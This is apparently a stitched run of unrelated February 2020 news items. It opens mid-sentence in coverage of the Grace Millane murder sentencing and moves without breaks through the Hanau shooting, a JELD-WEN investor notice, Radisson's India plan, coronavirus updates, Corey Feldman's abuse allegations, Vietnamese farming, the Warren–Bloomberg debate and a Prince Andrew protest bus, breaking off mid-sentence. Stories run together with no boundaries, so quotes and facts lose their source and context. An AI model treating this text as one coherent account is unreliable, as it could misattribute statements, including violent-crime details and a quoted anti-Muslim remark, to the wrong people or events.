cruel actions. "You took it upon yourself to murder my beautiful Grace, an innocent young lady. "On a daily basis, I torment myself over what you did to my Grace. "The terror and pain, she must have experienced at your hands. "As a mother, I would have done anything to change places with her. "I sit, full of guilt, knowing I couldn't help her, that I should have been there. "She died terrified and alone in a room with you. "You have ripped a hole in my heart, one that will never be repaired. "You walked into our lives and destroyed Grace, in the pursuit of your own sexual gratification. Pausing, and visibly upset, she continued: "Now my family will never be the same. "So many other innocent people, including your own family, have had their world destroyed. "I will miss my darling Grace, until the last breath in my body leaves me." Grace's brother, David Millane, echoed his mother's sentiments, and described his family as "ripped apart" when Grace was reported missing on December 2018. He told the court via the video-link: "The following weeks were the hardest and worst weeks of my life. "I remember taking the phone call from my dad, telling me that Grace's body had been found, and I just remember I was instantly sick. "Ever since December 2018, I cannot close my eyes without reliving that month of not knowing what happened to my sister. "The thought of how scared she must have been (...) I could have done nothing to help her. "As an older brother, I felt a duty to protect my little sister, but there was nothing I could do, I was helpless and lost." The defendant claimed Ms Millane died accidentally after the pair engaged in rough sex that went too far. A jury in November rejected that argument and found the man guilty. Jailing him for life with a minimum term of 17 years, Mr Justice Simon Moore told the murderer his actions amounted to "conduct that underscores a lack of empathy and sense of self-entitlement and objectification". Speaking on the steps of the court, Detective Inspector Scott Beard said he felt "rough sex" should not be considered a defence to murder. "Strangling someone for five to ten minutes until they die is not rough sex," he said. "If people are going to use that type of defence, all it actually does is repetitively revictimises the victim and the victim's family. "In this case, the Millanes have had to sit through a trial for a number of weeks and their daughter's background, rightly or wrongly, was out in the public. "I don't believe that rough sex should be a defence. I understand why the defence would use it but the bottom line is the individual has killed someone." Grace Millane met the man through the dating app Tinder and went out for drinks with him before returning to his hotel apartment in central Auckland, where he killed her. Grace Millane (Auckland City Police) He stuffed her body into a suitcase, drove to a forest and buried it in a shallow grave, where police found it a week later. The name of the 28-year-old man is being kept secret for now by court order, a restriction that is sometimes imposed in the New Zealand judicial system. Defence lawyers had claimed the death was accidental after the pair engaged in consensual sex that went too far. A jury in November rejected that argument and found the man guilty. Murder typically comes with a life sentence in New Zealand, so at stake at Fridays sentencing at the Auckland High Court was the number of years the killer would serve in jail before becoming eligible for parole. Prosecutors had argued for 17 years while defence lawyers said 12 was reasonable. The CityLife Hotel in Auckland (Ben Cooper/PA) Judge Simon Moore ended up agreeing with prosecutors. Earlier, the victims mother Gillian Millane told the court viavideo link that the killer had ripped a hole in her heart by stealing her daughters life. She died terrified and alone in a room with you, Gillian Millane said, according to the New Zealand Herald. The man in the dock kept his head bowed, rubbed his face and had his eyes closed, the newspaper reported. Grace Millanes death shocked many in New Zealand, which prides itself on welcoming tourists and where many people travel abroad themselves. Hundreds of people attended candlelight vigils after she died, and Prime Minister Jacinda Ardern spoke about New Zealanders feeling hurt and shame that she was killed in their country. In the fall of 2017, when Nina Garcia, the fashion editor and Project Runway judge, became the editor in chief of Elle magazine, E. Jean Carroll felt she needed to fight for her job. Ms. Garcia was remaking the staff and was scaling back on lucrative contracts the magazine offered freelance contributors like Ms. Carroll, who had written the Ask E. Jean advice column since 1993. But rather than dash off a pleading email, as many writers might, Ms. Carroll did something more in line with her outsize personality: She showed up at the offices of Hearst Magazines, the publisher of Elle, with a stack of hula hoops. I said, Heres some hula hoops, lets get it going girl! she recalled in a phone interview. Ms. Garcia appeared to love it. Oh, my God, I adore E. Jean! she said in a 2018 interview, about a year after taking over. Shes just so perfect for this generation. Her voice is so modern, quirky, and cheeky. While everybody on Twitter thinks they could be the E. Jean, she is the E. Jean! NEW YORK, Feb. 21, 2020 (GLOBE NEWSWIRE) -- Pomerantz LLP is investigating claims on behalf of investors of JELD-WEN Holding, Inc. (Jeld-Wen or the Company) (NYSE: JELD). Such investors are advised to contact Robert S. Willoughby at rswilloughby@pomlaw.com or 888-476-6529, ext. 9980. The investigation concerns whether Jeld-Wen and certain of its officers and/or directors have engaged in securities fraud or other unlawful business practices. [Click here for information about joining the class action] On February 15, 2018, the Company announced that a jury had returned a verdict against Jeld-Wen in the Companys ongoing litigation with Steves and Sons, Inc. (the Steves Litigation), finding that Jeld-Wens conduct violated U.S. antitrust laws. On August 7, 2018, a veteran industry analyst at J.P. Morgan slashed his estimates for Jeld-Wens earnings in 2018 and 2019 and lowered his price target for Jeld-Wens stock, citing, among other issues, the Steves Litigation. In response to the J.P. Morgan report, Jeld-Wens stock price fell $2.62 per share, or 9.95%, to close at $23.71 per share on August 8, 2018. Then, on October 4, 2018, the judge presiding over the Steves Litigation ruled that Jeld-Wen would be required to divest a facility it had obtained via its acquisition of CraftMaster Manufacturing, Inc. in October 2012. On this disclosure, which prompted several analyst downgrades, Jeld-Wens stock price fell $1.18 per share, or nearly 5%, over the following two trading sessions, closing at $22.91 per share on October 9, 2018. Finally, on October 15, 2018, Jeld-Wen announced that the Company expected its third quarter 2018 financial results to include a $76.5 million charge related to the ongoing Steves Litigation. The Company also announced the resignation of its Chief Financial Officer. On these disclosures, Jeld-Wens stock price fell $4.03 per share, or 18.91%, to close at $17.28 per share on October 16, 2018. The Pomerantz Firm, with offices in New York, Chicago, Los Angeles, and Paris is acknowledged as one of the premier firms in the areas of corporate, securities, and antitrust class litigation. Founded by the late Abraham L. Pomerantz, known as the dean of the class action bar, the Pomerantz Firm pioneered the field of securities class actions. Today, more than 80 years later, the Pomerantz Firm continues in the tradition he established, fighting for the rights of the victims of securities fraud, breaches of fiduciary duty, and corporate misconduct. The Firm has recovered numerous multimillion-dollar damages awards on behalf of class members. See www.pomerantzlaw.com. After suffering "emotional, sexual and financial abuse" at the hands of her husband, Hannah Clarke confided in her friend Manja Whaley. Ms Whaley, who has worked in the domestic violence sector for 10 years, said her friend recounted how Rowan Baxter accused her of cheating, checked her social media accounts, and made offensive comments including: "look at your stomach, that's just disgusting". "When she first confided in me we spoke about the violence and for such a long time she didn't believe she was in a domestic violence relationship," Ms Whaley told Nine's Today. "It hadn't crossed her mind, because as she said to me, her words, 'he didn't hit me'. Union Minister and sitting MP from Nawada, Giriraj Singh, cast his vote in Barahiya of Lakhisarai district, Bihar. (Image: ANI) Minister of Animal Husbandry, Dairy and Fisheries Giriraj Singh, on February 20, said that Muslims should have been sent to Pakistan in 1947. He recalled it as a "big lapse by our ancestors that we're paying the price for." Speaking to the media, Singh said, "Before 1947, (Muhammad Ali) Jinnah created a scheme for an Islamic nation. It was a big lapse by our ancestors that we're paying the price for. If at that time our Muslim brothers had been sent there, we wouldn't be in this situation. If the Bharatvanshis don't get shelter here, where will they go?" The minister's comments came in the wake of the protests against the Citizenship Amendment Act (CAA) that have been taking place across the country. This is not the first time Singh has made controversial remarks. He was summoned by BJP chief JP Nadda a few days ago after calling the Islamic seminary in Deoband, Uttar Pradesh as the fountainhead of terrorism. Last year, Radisson Hotel Group, the third-largest hotel chain in the country, took on a pilot project across its 40 hotels. It was called 'India unification plan' under which the aim was to minimize the costs, and boost revenues through a series of steps. Radisson Group grew from zero to 94 hotels in about 20 years, and last year, it took a pause. "We took a conscious call that we have got to make sure that the fundamentals are set right for delivery. If we have to become big in India which means hitting 350-400 hotels mark in the next 5-10 years, we needed to take a call; and make sure that the basics are set right for the business to grow in the long term," says Zubin Saxena, Managing Director and Vice President (Operations), South Asia at Radisson. Saxena, who became the India head in December 2018, asked some of the basic questions: how can Radisson make itself a meaningful player, and why an owner would want to associate with the Radisson brand? Also read: France's Groupe ADP to buy 49% stake in GMR Airports for Rs 10,780 crore The domestic hospitality sector has become a highly competitive space in the recent years where over a dozen large chains are vying for stable and serious hotel partners. For the uninitiated, hotel chains like Marriott, Accor, Radisson and Hilton operate most of their hotels under the managed model where these brands manage the hotels but the properties are owned by developers. Why would a developer choose a particular brand over others? The answer is complex but to put it simply, the owner would typically choose a brand which delivers higher ROI (return on investment). Radisson's strategy is focused on exactly that - to drive up the owner ROI. Currently, Radisson Group works with 300 owners in the country. "Indian unification plan is basically about unlocking the synergies and economies of scale in our business. Since we have achieved a scale in India, we want to position ourselves for consistent success in the future," says Saxena. The plan largely has three parts: centralised procurement, cross-selling of hotels, and clustering of markets. For instance, under the centralised procurement piece, the group has identified about 100 items such as furniture, fixture, equipment, and operating supplies which are bought in bulk to bring down the overall costs. So while each hotel continues to operate separately, some of their items are procured through the central office that has resulted in lower procurement costs for these 100 items - anywhere between 5 and 50 per cent over the previous year. This substantially improves the profitability of the hotels. Also read: Croma to launch new-age, tech-heavy stores; expand in Tier 2-3 markets The other major piece is the creation of cross-selling network across the chain. Over and above the corporate structure which takes care of the bookings, each hotel is now cross-selling the other hotel. For example, if there is a lead in a Bangalore hotel of Radisson for a room demand in a Delhi property, the salesperson in Bangalore hotel would call up the person in the corporate office who then passes on the lead to the Delhi hotel. Through this initiative, the chain has effectively been able to grow its sales network to over 500 associates - which are supposedly the highest in the industry. "In the first round, we implemented the plan for select hotels in select markets. We generated about 21,000 room nights just by cross-reference leads in the past year. In the first month of 2020, we have already crossed the numbers that we hit last year - which is over 21,000 bookings through cross-selling in just one month," says Saxena. Then, there's clustering of hotels. The entire country is broken into six clusters where each cluster has an in-charge who has visibility on the bookings, cost aspects, and revenues. In markets like Delhi NCR where Radisson has 25 hotels across five brands, there's no need for each property to operate a laundry. A hotel is Faridabad is doing laundry for other hotels. Similarly, there are combined human resources for some hotels within a cluster. "We can have one director of sales for two properties in the vicinity. We can have one director of security, for instance. Our profitability has increased, from the clustering pilot, by 400 basis points. This year, we have expanded the unification strategy to 89 hotels. The productivity has gone up exponentially," says Saxena. The initial results of the plan might be convincing, but some of these steps are essentially about reinventing the wheel. Experts say that Radisson needs to continuously bring new elements to its strategy to compete with equally aggressive players. Also read: India Inc spent just Rs 8,691 crore on CSR in FY19 The World Health Organization has warned that the window of opportunity to contain the international spread of the epidemic that has killed more than 2,200 people was closing, as the virus has spread to some 26 countries with a large cluster in South Korea and recent outbreaks in Iran, Lebanon and Italy "If we do well, we can avert any serious crisis, but if we squander the opportunity then we will have a serious problem on our hands," WHO chief Tedros Adhanom Ghebreyesus said in Geneva. The United States currently has 13 cases of people diagnosed with the virus within the country and 21 cases among Americans repatriated on evacuation flights from Wuhan, China, and from the Diamond Princess cruise ship in Japan, CDC said. Of 329 Americans evacuated from the cruise ship, 18 tested positive for the virus. Eleven of them are at University of Nebraska Medical Center, five are in medical facilities near Travis Air Force Base in California and two are near Lackland Air Force Base in San Antonio, Texas. The CDC is still handling the bulk of testing for the coronavirus as it works out issues with test kits sent to states, Messonnier said. A judge has ordered CCTV tapes from Madrid Airport not to be destroyed. The move comes amid accusations that Transport minister, Jose Luis Abalos, met Venezuelan vice-president Delcy Rodriguez and helped him onto Spanish soil while he waited for an ongoing flight. Venezuelan leaders are banned from entering EU territory and Madrid initially said that Rodriguez hadnt crossed the border, which is disputed. Source: Xinhua| 2020-02-21 22:34:11|Editor: huaxia Video Player Close Staff members load medical supplies on a plane at Chengdu Shuangliu International Airport in Chengdu, southwest China's Sichuan Province, Feb. 21, 2020. Chengdu Airlines' four China's domestically-developed ARJ21 aircrafts and one Airbus plane with 231 health workers and medical supplies flied to Hubei on Friday to help fight against the novel coronavirus. (Xinhua/Liu Kun) R elatives of victims shot dead in two shisha bars told of their grief today as Berlin ramped up efforts to tackle the rising tide of far-right violence. Nine men and two women died when Tobias Rathjen, 43, launched his attack in Hanau, a suburb of Frankfurt, on Wednesday night. The victims were Turks, a Romanian, Kurds, a Polish woman and a Bosnian immigrants marked for extermination by the Right-wing fanatic, including a 35-year-old pregnant mother-of-two. Rathjen, who had written a 24-page racist manifesto featuring hate-filled propaganda, then returned home to kill his 72-year-old mother before taking his own life. Germany: Hanau Shooting - In pictures 1 /28 Germany: Hanau Shooting - In pictures Reuters A car that alegdgedly belongs to a supect in a killing is lifted on a truck, near the home of the suspect in Hanau, western Germany, AFP via Getty Images Police officers stand near a house that is being searched after a shooting in Hanau, Germany AP Candles lay behind a police cordon in front of one of the bar target in a shooting in Kesselstadt, near Frankfurt AFP via Getty Images Police officers at the scene outside the Midnight hookah bar, one of two bars that were targeted Getty Images Special police forces work at the scene following a deadly shooting attack in Hanau AP Forensic police work at a crime scene in front of a bar at the Heumarkt in the centre of Hanau, near Frankfurt am Main, western Germany AFP via Getty Images Emergency services work at the scene of a shooting in Hanau AFP via Getty Images Forensic police work near a crime scene in front of a bar at the Heumarkt in the centre of Hanau AFP via Getty Images Police handcuff a man near the scene of a shooting in Hanau, Germany AP Forensics enter a building at the scene after a shooting in central Hanau, Germany AP A special forces officer guards the road in front of a house that is searched through by police in Hanau, German AP Gun attacks: Police stand guard near the scene of one of the shootings in central Hanau AP A car covered with rescue blankets stands in front of a bar in Hanua, Germany AP A projectile lies on the sidewalk near a restaurant at the scene of a shooting in central Hanau, Germany AP Forensics investigate at the scene AP A police officer stands guard AP Officers detain a man near a damaged car at the scene after a shooting in Hanau, Germany Reuters Forensic experts outside a shisha bar after a shooting in Hanau near Frankfurt Reuters Police officers secure the area after a shooting in Hanau Reuters Forensic experts are seen outside a shisha bar after a shooting in Hanau near Frankfurt Reuters Ferhat Unvar, 20, had just finished training as a mechanic in a plumbing firm when he was shot at the Arena bar. His father Metin described him as our pride and joy. Ferhat had his life ahead of him, he said. Our grief is immeasurable. Germany must now stick together. We never thought that something like this would happen in this country, which is our home. We must not start a war now, we must remain calm. People gather for a vigil at the Brandenburg Gate to commemorate the victims of the Hanau shooting / Getty Images A Polish-Roma mother-of-two called Mercedes was apparently shot as she entered the bar next to the kiosk where she worked. A cousin said: She was a lovely person. Words cannot begin to explain how we feel. Victim Muhammed Beyazkendir, 20, was in hospital recovering from life-saving surgery after being shot. He described the attack as a bloodbath. People gather for a vigil at the Brandenburg Gate / Getty Images We heard gunshots from outside. Five or six. Then I saw the gunman outside the Arena. He held a gun with two hands, ran into the place and killed everyone there. And then he came over to us, shot the first one he saw in the head. He fell over. And then he screamed. I fell on a colleague, and one fell on me... We were a mountain of people. Turkish media named some of the victims as Bilal Gokce, Sedat Gurbuz, Agr Eleskirtli and Bulgarian citizen Kolayan Velkov. Bosnian-born Hamza Kutovic, 20, was also said to be among the dead. Thousands gathered in cities across Germany to hold vigils for the victims amid mounting concern about Far-right extremism reflected in earlier attacks and the rise of the anti-migrant party Alternative for Germany, or AfD. What started as the Tema to Paga railway line project has become Ghana to Burkina Railway Interconnectivity Project, President Akufo-Addo has said. Speaking on the rail sector of the economy while delivering his fourth State of the Nation Address on Thursday, 20th February, Mr Akufo-Addo said: The contractors have assured the government that the Tema to Mpakadan line, which includes a three hundred (300)-meter rail bridge over the Volta River, will be completed in August. Those who travel along the Accra to Akosombo route would testify that this is a reality, as we can all see the work being done. I hope to travel on that line in August. We can safely say that the rail line journey to Paga has begun. He added: The Tema to Accra line has been operational for two years and the Accra to Nsawam line would soon be operational. The Takoradi to Tarkwa line was inaugurated a few weeks ago and is proving to be very popular and being enthusiastically patronised, the President said. What started as the Tema to Paga railway line has become the Ghana to Burkina Railway Interconnectivity Project, he noted, adding: Approximately eight hundred (800) Kilometers of this rail line will be in Ghana and two hundred (200) kilometers in Burkina Faso. ---classfmonline Corey Feldman has spoken to Dr. Oz about his upcoming movie on the Hollywood pedophiles who he claims raped him and Corey Haim when they were children, and revealed how he is living in fear about 'exposing' them. Feldman's film - My Truth: The Rape of Two Coreys - has been beset with legal and funding issues. It will only be shown once on his website on March 9 because no major distributor picked it up and it was reportedly turned down by Netflix because of possible legal ramifications. In the movie, he names one of the men that he and Haim nicknamed 'The Rapist' as teenage actors. For legal reasons, Dr. Oz did not share that person's name, nor has DailyMail.com. But Dr. Oz said it 'startled' him to hear in the movie, which was given an advance screening of. 'It was startling for me to hear it. Does he know that his name is going to be mentioned in this film?' he asked. Feldman, who claims attempts have been made on his life since he went public with his claims of being raped years ago, said the man knew his name was mentioned in the film and that he has since threatened him. 'I believe he reached out to somebody within my circle and made it known that he knows where I am, and he has a way to find me,' he said. Feldman said he'd been urged by other victims of Hollywood pedophiles to make the movie, despite fearing for his life. 'Let me break it down for you a little bit and explain to you that there's elements of this that, the reason why this has been so difficult which is, there's a multitude of reasons. But one of the main things is a lot of the people who were pushing me and saying, you got to do this, were victims that knew about what was going on. 'So, at the last minute, these people would back out and they would say, "Oh, well, we got death threats. Oh, well, my family is afraid. We've got a family to think about. My family's got to come first." Feldman talking to Dr. Oz about his upcoming film. Dr Oz said it 'startled' it Corey Haim (left) and Corey Feldman (right) in The Lost Boys. It was around this time he says they were raped 'And I'm going, what about my family? Does my family not matter? 'Why am I being asked to sacrifice everything when nobody else is willing to take those same sacrifices? But you know what? That wasn't enough to stop me. 'So I kept going, and then another thing would happen. Then I get stabbed. Then I get almost run over. It's just one thing after another that have happened over the last three years. 'They do it through intimidation. And then they all go around and spread this rumor that youre this awful person,' he said. Feldman is posting the film online the night before the 10th anniversary of Corey Haim's death. The teens a few years after The Lost Boys. Haim died in 2010 'I don't think there's a better way to honor his memory and to tribute his life and his legacy than to give the answer that he asked me personally to promise I would make sure got delivered to the world. 'I am keeping my promise. I'm a man of my word, and I'm putting my entire family at risk to do it. I pray for the safety of my family. But there's one other thing I want to pray for, and that's his family. 'I don't mean just Haim's family because I'm praying for them too. But I also pray for the family of the rapist because I know that this man also has a family and I don't take that lightly. 'What we're doing right now is going to shake things up for all of us, it's going to cause a lot of pain, and I'm sorry for that pain. 'But you know what? It had to be done,' he said. Haim, who starred in several movies with Feldman, died in 2010 following drug and alcohol battles. Feldman said the film will reveal for the first time the names of Haim's abusers. Feldman has already publicly named one of his own alleged abusers. He accused his former co-star Jon Grissom of abusing him as a child. He referred to Grissom as Ron Crimson in his 2013 book Coreyography. He aired the allegations for the first time during a 2017 Dr Oz Show interview. Grissom, who has a prior child molestation conviction and is believed to be living in Mexico, has not been charged in relation to Feldman's claims. Feldman said the documentary will be the first time all the details about his and Haim's alleged abuse have been detailed. 'I am able to say the names of who did what and the details of who did what,' Feldman said of the film. 'There is going to be people who are going to be very unhappy that this is coming out. People who want it silenced. Nothing can stop it at this point. 'That's why we're only showing it one time. 'We want to get it out. I've done my job, I've kept my promise.' Underdeveloped northern provinces were embracing high technology to make breakthroughs in farming productivity in hopes of lifting locals mostly of ethnic minorities out of poverty. Farmers harvest tomatoes grown in a shade house in Huong Non Commune, Tam Nong District, Phu Tho Province. Photo nhandan.com.vn Dong Sang is a remote commune in Son La Province about 200 km west of Hanoi where seven ethnic minorities live alongside each other. They heavily depend on agriculture as their main source of income. Communal Peoples Committee chairman Pham Van Giang told Nhan dan (People) newspaper that the locals started trying out new technologies in farming since 2013 and the results were astounding. The application of technology in agriculture has changed the traditional farming methods of the ethnic minorities, raising the average productivity from VND29 million (US$1,200) per ha in 2013 to about VND50 million per ha, Giang said. He said that many investors were also flocking to the mountainous commune to set up large-scale high-tech farms since 2018. There were few already yielding promising revenues, between VND800 million and up to VND1 billion ($34,000-$42,500) a year, the official added. We believe high tech agriculture is the right way (for development) so the locality will now focus efforts on increasing mechanisation, building large-scale fields and developing models to apply high tech into production. Dong Sang is not the only locality in Son La looking to modernise the agriculture sector. The whole province, in fact, was rolling out plans to develop and form specific areas for high tech farming to produce high-value and high-quality crops like organic rice, vegetables, tea and coffee, according to Son La Department of Agriculture and Rural Development. The province was aiming to have up to 20 per cent of the total agricultural production value in the province come from high tech agriculture, said the department. Further up north, in the border province of Lao Cai, the Bac Ha Commune was a pioneer in applying high tech in agriculture. The locality successfully built up specialised farming zones for unseasonal greenhouse vegetables, high-end fruits and flowers and medicinal plants and herbs like artichoke and Ngoc Linh ginseng. According to the local Department of Agriculture and Rural Development, there was approximately 150 ha of high tech agriculture across the commune, yielding between VND500 million and VND1 billion per ha per year. Short end of the stick Ministry of Agriculture and Rural Developments Department of Science, Technology and Environment director Nguyen Thi Thanh Thuy said that the agriculture sector was doing well to further integrate technology into the industry. According to Thuy, the State budget funded about VND94 billion for 18 high tech farming projects between 2015 and 2019. The capital mobilised from the private sector, meanwhile, reached more than VND193 billion with focuses on cutting edge technologies like auto and semi-auto technologies together with biotechnology and information technology. Despite the promising numbers, a prevailing problem remained, which was that high tech agriculture was not on the same scale of popularity in different localities, with the northern mountainous region getting the short end of the stick, Thuy said. The Governments investment support policies might peak investors interest to pour money into agriculture a sector which by now only received a lukewarm welcome from the investors in areas which already had favourable conditions in soil, climate or transportation infrastructure, she said. But in remote regions where the local labour quality is low and the infrastructure is underdeveloped, even long-term support policies sometimes cant lure investors, Thuy said. That left the northern provinces mostly on their own to try to apply high tech to the agriculture sector while patiently calling for investors, she said. Its really a hard puzzle but many localities have come to be aware that the more open their policies are, the more they share the difficulties with the investors, the more they will lift the pressure on the companies that invest in their areas. VNS VN agriculture capitalising from private investment Private sector investment has recently surged in the field of agriculture, contributing to building sustainability in the sector across Vietnam. Son La people waiting desperately for latex stream to flow Ten years ago, the Vietnamese Government sought to uplift disadvantaged ethnic minority groups in the mountainous region northwest of the country with rubber plantations. The hard lot of Vietnams rice Vietnams rice export price is always low compared with other countries because consumer confidence in Vietnams rice quality is not high, experts say. Decrease Font Size Font Size Increase Font Size Article body U.S. Ambassador to Slovenia Lynda C. Blanchard heard about Auburn Universitys expertise in cybersecurity and artificial intelligence on a return visit Friday to her alma mater. I am proud that Auburn is one of the universities that is truly cyber-focused, said Blanchard, a 1991 graduate of Auburn, to a group of faculty and students. In addition to her role as CEO of the 100X Development Foundation, Blanchard founded and was a senior advisor of the B&M Management Company, a real estate investment firm valued at more than $1 billion. Blanchard worked in 15 different countries and spent six years on Capitol Hill before becoming the U.S. ambassador to Slovenia. To this day, Blanchard credits Auburn for setting the stage for her success. Thanks to Auburn University, I was prepared with a solid background, earning my degree in mathematics and a minor in computer science, she said. Associate Dean for Research Steven Taylor with Auburns Samuel Ginn College of Engineering and Auburn Executive Director of Public Affairs Brian Keeter discussed several key topics with the ambassador and gave her a tour of Auburns new Brown-Kopel Engineering Student Achievement Center. Our new center has one large makerspace room where students will be able to create models in metal, wood and polymers, Taylor told the ambassador. One of our missions is to provide the best student-centered experience in America. This unique experience for students in the Samuel Ginn College of Engineering has helped us double our enrollment in the last decade to more than 6,600 students. Blanchard spoke with Auburn representatives about Slovenias focus on science and technology, and she also discussed the importance of cybersecurity and national securitytopics that Keeter said are important to Auburns mission forward. Auburn is woven into the fabric of our national homeland security, he said, noting how Auburn has recently developed several strategic partnerships and hosted high-level federal government speakers. The ambassador also heard of the diversity of Auburns faculty, specifically in the Department of Computer Science and Software Engineering. From Montgomery to Moscow, our dynamic faculty is diverse, and 48 percent of our faculty has expertise in cybersecurity, said Hari Narayanan, the department chair. The faculty spoke about their research areas and explained how students are prepared for rewarding careers. The Samuel Ginn College of Engineering is one of 450 colleges of engineering in the United States and the 23rd largest, Taylor said. We are producing engineering talent directly for tomorrows workforce. Blanchard invited the computer science faculty to Slovenia for a future meeting and further discussion. As the Chief of Missions, I enjoy focusing on teamwork, diversity and inclusion, she said. We are a family of ambassadors much like the Auburn Family. The ambassador then met with undergraduate to doctoral-level students working on such research areas as national security and defending networks at national labs. My advice to you is to step out to step up, the ambassador told the students. I encourage you to keep learning and take advantage of every opportunity you get. I did not know that I would become the U.S. ambassador to Slovenia. I never stopped learning and trying new things. Recently, I led a conversation ranging from cybersecurity to logistics to artificial intelligence at the United States European Command in Stuttgart, Germany, with more than 20 generals. Go through every door in your future because you dont know where it will take you. Qatar is set to deliver 200 tonnes of humanitarian aid to the Syrian refugee camps on the border with Turkey amid the worsening humanitarian situation in the country, the local charity organization said DOHA (UrduPoint News / Sputnik - 21st February, 2020) Qatar is set to deliver 200 tonnes of humanitarian aid to the Syrian refugee camps on the border with Turkey amid the worsening humanitarian situation in the country, the local charity organization said. "A delegation from Qatar Charity is heading to Turkey, with the aim of providing urgent shelter, food and other aid to Syrian refugees and displaced persons to alleviate their suffering and meet their basic needs. The aid will include 200 tons of relief materials worth 14.5 million Riyals to benefit 864,618 people," the Qatar Charity said in a statement. The organization added that the humanitarian aid comes in response to the deteriorating situation in Syria following the largest displacement of people in the last three months. According to UN figures, approximately 900,000 people have been forced to flee their homes in Syria's Idlib province since December 1, amid an escalation of hostilities in the region. In December, Syrian government forces launched an offensive to recapture areas of the Idlib province, the last remaining rebel stronghold in the country. Pockets of the region are under control of the Hayat Tahrir al-Sham terrorist organization (formerly known as Jabhat al-Nusra, banned in Russia). Tensions further escalated in the region after the Syrian government forces shelled a Turkish observation point on February 3, killing seven military personnel and one civilian contractor. Turkey has conducted a number of retaliatory strikes. The Turkish Defense Ministry claimed that 63 Syrian government troops were killed or captured during Turkish strikes. Source: Xinhua| 2020-02-21 07:17:23|Editor: huaxia Video Player Close CHICAGO, Feb. 20 (Xinhua) -- General Motors (GM) on Thursday launched the Chevrolet Menlo sedan in China, the brand's first fully electric vehicle in the world's largest EV market. The sporty-looking hatchback was also the third EV that GM rolled out in China, following the Buick Velite 6 EV and Baojun E-series, all produced by joint-venture partnerships in China. According to GM, the Chevrolet Menlo will be initially offered in Beijing, available in four variants priced from 159,900 yuan to 179,900 yuan (about 22,800 U.S. dollars to 25,700 U.S. dollars) after national subsidies for new energy vehicles. "Along with being a new energy vehicle, the Chevrolet Menlo inherits Chevrolet's sporty DNA that dates back to its founding by race car drivers," said Scott Lawson, general director of Chevrolet for SAIC-GM, a Shanghai-based joint venture. "It will meet the performance and styling demands of our customers and at the same time provide the efficiency that new energy vehicle owners expect," he added. Based on the concept vehicle of Chevrolet FNR-X, Chevrolet Menlo has a constant-speed range of up to 410 km under New European Driving Cycle (NEDC) conditions on a single charge. GM outlined its "All-Electric Path to Zero Emissions" in October 2017, and announced a new electric offensive with 20 new all-electric vehicles to launch by 2023. In the rapidly expanding Chinese EV market, which saw half of the world's total sales, GM now faces fierce competition not only from local brands and European automakers, but also the American EV giant Tesla. Tesla started delivering Model 3s made in its Shanghai Gigafactory at the end of last year. Ms Warren is fighting for the life of her presidential campaign: Getty Elizabeth Warren has launched a scathing attack on billionaire Michael Bloomberg, slamming him over past sexist comments and likening him to Donald Trump. As the 78-year-old former New York mayor made his first appearance in a Democratic debate, he came under fire from his rivals in quick succession. Id like to talk about who we are running against. A billionaire who calls women fat broads and horse faced lesbians. And no I am not talking about Donald Trump. I am talking about Mayor Bloomberg, said Ms Warren. Look, Ill support whoever the Democratic nominee is, but understand this, Democrats take a huge risk if we just substitute one arrogant billionaire for another. The comments were delivered as a series of polls showed Mr Bloomberg had soared after spending around $400m of his own money on political advertising. An average collated by RealClearPolitics put Mr Bloomberg on 16 points nationally, behind Bernie Sanders and Joe Biden, but ahead of Ms Warren, Amy Klobuchar and Pete Buttigieg. In his first response on Wednesday night in Las Vegas, just days ahead of the Nevada caucus, Mr Bloomberg claimed that Mr Sanders, the frontrunner, could not defeat Donald Trump if he was the partys candidate. I dont think theres any chance of the senator beating President Trump, Mr Bloomberg said. If he goes and is the candidate, we will have Donald Trump for another four years, and we cant stand that. In particular, he claimed Mr Sanders healthcare plan so-called Medicare for All would hurt his chances. You dont start out by saying Ive got 160m people Im going to take away the insurance plan that they love, he said. Thats just not a ways that you go and start building the coalition that the Sanders camp. Ms Warren and others on the stage also called on Mr Bloomberg to release several women who alleged sexism and misogynistic behavior from non-disclosure agreements they had signed at his company. Asked about sexually suggestive comments he had made in the 1990s, and allegations he operated a hostile workplace, he said his firm was now ranked as a good place for women to work. Story continues Ms Warren said: I hope you heard what his defence was. Ive been nice to some women. That just doesnt cut it. She asked Mr Bloomberg why he would not release the women from the non-disclosure agreements. None of them accuse me of doing anything other than maybe they didnt like a joke I told, Mr Bloomberg said. The agreements between two parties that wanted to keep it quiet and thats up to them. They signed those agreements and well live with it. Read more George Zimmerman sues Pete Buttigieg and Elizabeth Warren Elizabeth Warren calls Mike Bloomberg egomaniac billionaire Warren criticised for taking broke college students last few dollars Elizabeth Warren pays tribute to Amy Klobuchar and slams pundits An American school bus emblazoned with a photograph of Prince Andrew and the words, 'If you see this man ask him to call the FBI', drove around Buckingham Palace today. The yellow bus drove through central London and around the perimeter of the palace, putting mounting pressure on the Duke of York to answer questions about his friendship with billionaire paedophile Jeffrey Epstein. A banner on the side read: 'If you see this man please ask him to call the FBI to answer their questions.' The duke has stepped away from royal duties following his disastrous Newsnight interview which probed his relationship with disgraced U.S. financier Epstein, who was found dead in a New York prison cell last August. As a result, several charities he was associated with no longer receive his patronage and he was notably absent from the main annual Christmas service at Sandringham. The future of his Dragons-Den style pet project Pitch@Palace has also been put in jeopardy as major supporters pulled the plug and their financial support. The bus featured the website address for attorney Gloria Allred, who is representing several alleged victims of Epstein and thought to have organised the stunt. During a press conference in America last year Ms Allred - who is currently in New York for the trial of Harvey Weinstein - said Andrew 'has an obligation' to meet with investigators to disclose what he knew about Epstein. The Prince, a former Royal Navy officer who retired in 2000, was set to be honoured with a naval promotion on the day he turned 60, but asked for it to be 'deferred'. The Duke was seen today for the first time leaving Royal Lodge, the Windsor residence he shares with his ex-wife, Fergie, since his low-key 60th birthday celebrations. The yellow bus drove through central London and around the perimeter of the palace Prince Andrew seen for the first time since turning 60 leaving his home, Royal Lodge today The banner on the school bus is urging to people to ask the Duke of York to call the FBI The 35 businesses that sponsor Andrew's charity - and the companies that pulled out in the wake of BBC Newsnight disaster Cutting ties KPMG Standard Chartered Aon Gravity Road Advertising Week Europe Bond University Melbourne's RMIT University Fondation Rideau Hall University of Wollongong Murdoch University Standing by Andrew Stelios Foundation Li Ka Shing Foundation Considering position AstraZeneca Barclays Yet to respond Bosch Air Asia Bank of China JD.com Tencent Business Horizon International Group InMotion Arm China Construction bank Hult business school Royal Academy of Engineering Halkin Ventures IMB Bank Woodside Tamkeen The Chosunilbo Khalifa Fund Fieldhouse IX Advertisement The Duke celebrated his birthday last week with his ex-wife at Royal Lodge - in stark contrast to the weekend-long party he enjoyed at St James's Palace for his 50th birthday. Flags to mark his 